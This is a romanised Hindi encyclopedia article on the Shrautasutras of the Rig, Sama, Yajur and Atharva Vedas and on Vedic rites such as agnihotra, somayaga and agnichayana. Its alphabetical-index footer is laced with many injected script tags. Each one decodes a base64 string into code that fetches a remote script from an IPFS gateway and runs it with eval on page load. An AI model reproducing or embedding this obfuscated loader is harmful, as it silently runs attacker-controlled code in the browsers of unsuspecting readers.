श्रौतसूत्र

rrigved ke shrautasootr

rrigved ke shraut sootr granth do laghu pustikaoan (charanoan) se sambandhit haian—shaankhayan aur ashvalayan, jinamean shaankhayan bad mean uttar gujarat mean sthir ho gaya aur ashvalayan godavari aur krishnaa ke madhy mean dakshin bharat mean sthir hua. adhikatar donoan ek hi kram se yajn ka varnan karate haian. kintu b de rajakiy yajnoan ka shaankhayan shraut–sootr mean kahian adhik vistar se varnan kiya gaya hai. shaankhayan shraut sootr shaankhayan brahman se atyadhik nikatata ke sath sambaddh hai aur donoan hi mean prachinatar pratit hota hai. yah bat vastutattv aur shaili donoan drishtiyoan se siddh hoti haian. ye donoan (vastu aur shilp) anek bhagoan mean brahman granthoan se mel khate haian. isamean 18 adhyay haian, jinamean antim do bad mean jo de ge aur kaushataki aranyak ke pratham do adhyayoan se mel khate haian. ashvalayan ke shrautasootr mean 12 adhyay hai, yah aitarey brahman se sambandhit haian. ashvalayan aitarey aranyak ke chauthe kand ke rachayita bhi mane jate haian aur parampara ke anusar ve shaunak ke shishy the.

samaved ke shrautasootr

samaved ke tin shrautasootr surakshit rakhe ja sakate haian. inamean sabase purana mashak sootr hai, jise arshey kalp bhi kaha jata hai. yah isase adhik aur kuchh nahian hai ki isamean panchaviansh brahman ki kram vyavastha ke anusar somayag ke vibhinn kriyakalapoan se sambandh rakhane vale prarthana mantroan ka keval pariganan kar diya gaya hai. latyayan dvara rachit shrautasootr kauthumashakha ka ek svikrit granth (gutaka) man liya gaya. yah sootr mashak ke saman panchaviansh brahman ke sath nikat roop mean sambandhit hai. isamean mashak sootr se uddharan bhi die ge haian. drahyayanoan ka shrautasootr jo latyayanoan se bahut kam bhinn hai, samaved ki ranayaniy shakha se sambandh rakhata hai.

shukl yajurved ke shrautasootr

shukl yajurved ka sambandh katyayan shrautasootr se hai. yah gutaka, jisamean 26 adhyay haian, samay drishti se shatapath brahman ki yajn vyavastha ka ashithil roop mean anusaran karata hai. haan yah avashy hai ki isake tin adhyay (22 se 24 tak) samaved ke vidhi–vidhanoan ka varnan karate haian. isaki shaili ke durjney svaroop ke karan yah sootrakal ki bad ki rachanaoan mean ek pratit hoti hai.

krishna yajurved ke shrautasootr

krishna yajurved se sambandhit shrautasootr jo surakshit rakhe ge haian, unaki sankhya 6 se kam nahian hai, kintu unamean ab tak keval do prakashit ho sake haian. inamean char bahut hi ghanishth sambandh rakhane vale varg ka nirman karate haian, karan yah hai ki ye taittiriy shakha ki char upashakhaoan ke kalpasootroan ka aang haian, jinhoanne bad ke sootr sampraday (charanoan) ka pratinidhitv kiya jo ved ya brahman ke saman vishisht eeshvariy jnan ka unmesh hone ka dava nahian karate. apastamb shrautasootr tis adhyayoan (prashnoan) mean pratham chaubis ka kalevar banata hai; un tis adhyayoan mean jinamean unhian (apastamb) ke kalpasootr ka vibhajan hua tha. apastamb kalpasootr ke adhyayoan ko prashn kaha jata hai. hiranyakeshi ka shrautasootr bhi unake kalpasootr ke 29 adhyayoan mean pratham 18 adhyayoan ka nirman karata hai. hiranyakeshi ka kalpasootr bhi apastamb se phoote hue aankur ki ek upashakha hai. baudhayan ka sootragranth jo ki apastamb se purana hai aur usi prakar bharadvaj ka bhi shrautasootr ab tak prakashit nahian hue haian.

maitrayaniy sanhita

maitrayaniy sanhita se ju da hua manav shrautasootr hai; isaka sambandh manavoan se hai jo ki maitrayaniy ke upabhivag the aur jinamean sambhavatah manu ki dharm–pustak apane udagam ka anusaran karati hai. yah sarvadhik prachin shrautasootroan mean ek maloom p data hai. isaka svaroop varnanatmak hai jo ki yajurved ke brahman bhagoan se milata–julata hai aur samany roop se keval yajn vidhi ke varnan karane ke karan unase bhinn hai tatha pauranik akhyanoan vicharoan aur kisi bhi prakar ke vivadoan ko bachane mean bhi isaka vibhed hai. krishna yajurved se ju da hua ek vaikhanas shrautasootr bhi hai, kintu isaka pata kuchh pandulipiyoan mean hi bachata hai.

atharvaved ke shrautasootr

atharvaved ka shrautasootr hai vaitanasootr; n to yah purana hai aur n hi maulik. kintu isamean sandeh nahian ki atharvaved ko doosare vedoan ke saman apane svayan ke shrautasootr se sampann karane ke hi uddeshy se isaka sankalan kiya gaya tha. sambhavatah isane apana nam us shabd se grahan kiya, jisase isaka prarambh hua tha; kyoanki vaitan (jisaka sambandh tin yajnik agniyoan se hai) saman roop se sabhi shrautasootroan par lagoo hota hai. atyadhik sima tak yah gopath brahman se sahamat hai, yadyapi yah spasht roop mean shukl yajurved ke katyayan sootr ka anusaran karata hai. isake paravarti hone ka ek sanket is bat se milata hai jabaki doosare mamaloan mean ek grihyasootr niyamit roop se sambaddh shrautasootr ko pragvarti manata hai, jabaki vaitan atharvaved ke grihyasootr par nirbhar hai.

yadyapi shrautasootr yajnik vidhiyoan ko thik roop mean samajhane ke lie aparihary hai, kintu ve kisi doosare drishtikon se sahity ka atyadhik anakarshak svaroop hai. isalie jin vidhi vidhanoan ka ve varnan karate haian, unaka sarvadhik sankshipt rooparekha mean ullekh karana paryapt hoga. sarvapratham to yah yad rakhana avashyak hai ki vidhan kabhi bhi samajik nahian hote sarvada ekaki vyakti ki or se sampann kie jate haian, jo tathakathit yajaman ya yajn karane vala hota hai, jo un vidhanoan mean bahut kam bhag leta hai. pratinidhi brahman purohit hote haian, jinaki sankhya yajnakarm ki avashyakata ke anusar char se 16 tak bhinn–bhinn ho sakati hai. in samast vidhi vidhanoan mean mahattvapoorn bhag tin pavitr agniyoan dvara liya jata hai, jo ki vedi ko ghere rahati hai. vedi kuchh khodi huee bhoomi hoti hai, jo ghas ki trin shayya se dhak di jati hai, jisamean devataoan ko pradey vastu grahan ki ja sake. sabhi yajnoan ki pahali vidhi hoti hai, pavitr agni ki sthapana (agnyadhan) jo yajaman aur usaki patni ke dvara agnikashthoan (samidhaoan) ke dvara prajjvalit ki jati hai aur isilie use niyamit roop se sthayi rakha jata hai.

shrot vidhi

shrot vidhiyoan ki sankhya 14 hai, jinako do mukhy samoohoan mean baanta jata hai, jinamean sat havi ke yajn aur 7 sam yajn hote haian. pratyek samooh ke sath vibhinn svaroop ke pashuyagoan ko bhi sammilit kiya jata hai. haviryag ke pradan mean doodh (khir), ghi, halva, ann, poo di tatha aur bahut si vastuean sammilit rahati haian. agnihotr sabase adhik samany yajn hota hai, jisamean pratah aur sayamh tin agniyoan ko doodh ki vastuoan ki ahooti di jati hai. doosaroan mean sarvadhik mahattvapoorn yajn hai, naye tatha poorn chandrama ke yajn (darsh poornamas) aur ve jo tinoan rrituoan ke prarambh mean kie jate haian (chaturmasy). bar–bar hone vale kuchh doosaroan yajnoan ke atirikt bahut se aise bhi haian, jinaka pradan kisi vishesh avasar par kiya jata hai, athava kisi vishisht uddeshy ki siddhi ke lie bhi kiya jata hai.

vibhinn prakar ke somayag kahian adhik jatil the. sabase sadharan aur moolabhoot svaroop ke agnishtoanm (agni ki prashansa) ko bhi 16 purohitoan ke sachivy (mantrana) ki avashyakata p dati thi. isamean keval ek din lagata tha, jisamean som ka peshan tin bar hota tha-pratahkal, madhyahn mean aur sayankal mean. kintu is din se pahale vala din atyant vistrit taiyari ki vidhiyoan ka hota tha. jisamean ek vidhi thi yajaman aur usaki patni ka yajn mean pravesh (diksha) lena. doosare somayag kee din 12 din tak chalate the. doosare prakar ke yajn jinhean satr (kalavadhi) kaha jata tha, ek varsh ya usase bhi adhik chalate the.

yajnavidhi

ek bahut hi pavitr yajnavidhi, jise somayag se jo da ja sakata hai agnichayan ya 'agnisanchay' karana hai. jo ek sal tak chalati thi. isaka prarambh 5 pashuoan ki bali se hota hai. tab mrittika patr ke taiyar karane mean bahut samay lag jata tha jise (mrittika patr ko) ukha kahate haian. jisamean ek varsh tak agni ko surakshit rakha jata hai. donoan ke lie atishramasadhy niyam die ge haian. ghatak dravyoan ke lie bhi jaise krishna mrig ke bal jinako mitti ke sath milaya jata hai aur isake lie bhi ki unako svaroop kis prakar diya jae aur ant mean jalaya jae. tab nirdharit vyavastha ke anusar eetean banani p dati haian. jinake akar aur pariman bhinn prakar ke tatha vishisht paddhati ke hote haian. vedi 5 staroan ki hoti hai. jinamean sabase nichale star mean 1950 eetean aur un sabakoan milakar jo dakar 10,800 eetean lagani chahie. un (eetoan) mean bahutoan ka apana vishisht nam hota hai aur apani svatantr sarthakata hoti hai. is prakar vedi dhire–dhire banaee jati hai, kyoanki isaki eetean nirdharit sthiti mean hi rakha jati haian. jinake sath thik vidhiyoan aur mantroan ka samavesh rahata hai. jinaka nirvah bhayajanak purohitoan ke samooh ke dvara kiya jata hai. prayog vidhi ke kuchh pradhan tattv haian. kintu ye sambhavatah bahut badhi–chadhi jatilata aur vistar ki bahut b di rashi ka kuchh dhuandhala sa vivek pradan kar sakeange, jisase sabase chhote anumatr ki bhi brahman vidhiyoan mean mahatta hai. kisi doosare dharm ne isaki samanata ko kabhi nahian jana.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah